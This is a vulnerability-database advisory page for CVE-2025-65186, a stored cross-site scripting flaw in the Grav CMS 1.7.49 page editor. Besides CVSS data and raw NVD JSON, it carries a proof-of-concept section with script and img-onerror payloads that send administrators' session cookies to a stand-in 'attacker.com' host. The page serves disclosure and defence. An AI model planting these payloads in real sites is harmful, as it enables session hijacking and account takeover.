Security Vulnerability Report
中文
CVE-2025-65186 CVSS 6.1 MEDIUM

CVE-2025-65186

Published: 2025-12-02 17:16:06
Last Modified: 2025-12-03 20:13:44

Description

Grav CMS 1.7.49 is vulnerable to Cross Site Scripting (XSS). The page editor allows authenticated users to edit page content via a Markdown editor. The editor fails to properly sanitize <script> tags, allowing stored XSS payloads to execute when pages are viewed in the admin interface.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:getgrav:grav:1.7.49:*:*:*:*:*:*:* - VULNERABLE
Grav CMS <= 1.7.49

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-65186 Stored XSS in Grav CMS --> <!-- Step 1: Login to Grav CMS admin panel --> <!-- Step 2: Navigate to Pages -> Add Page --> <!-- Step 3: In Markdown editor, insert the following payload --> <script>alert(document.cookie)</script> <!-- Or more advanced payload for session hijacking --> <script> // Steal session cookie and send to attacker server var cookie = document.cookie; var img = new Image(); img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(cookie); </script> <!-- Step 4: Save the page --> <!-- Step 5: When admin views the page in admin interface, XSS executes --> <!-- Example using img onerror for bypass --> <img src=x onerror="this.src='https://attacker.com/log?cookie='+document.cookie">

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65186", "sourceIdentifier": "[email protected]", "published": "2025-12-02T17:16:06.250", "lastModified": "2025-12-03T20:13:43.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav CMS 1.7.49 is vulnerable to Cross Site Scripting (XSS). The page editor allows authenticated users to edit page content via a Markdown editor. The editor fails to properly sanitize <script> tags, allowing stored XSS payloads to execute when pages are viewed in the admin interface."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.7.49:*:*:*:*:*:*:*", "matchCriteriaId": "44FDE961-C4D1-4B90-B32F-9217F1F8E354"}]}]}], "references": [{"url": "https://github.com/getgrav/grav", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/lukehebe/Vulnerability-Disclosures/blob/main/CVE-2025-65186.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}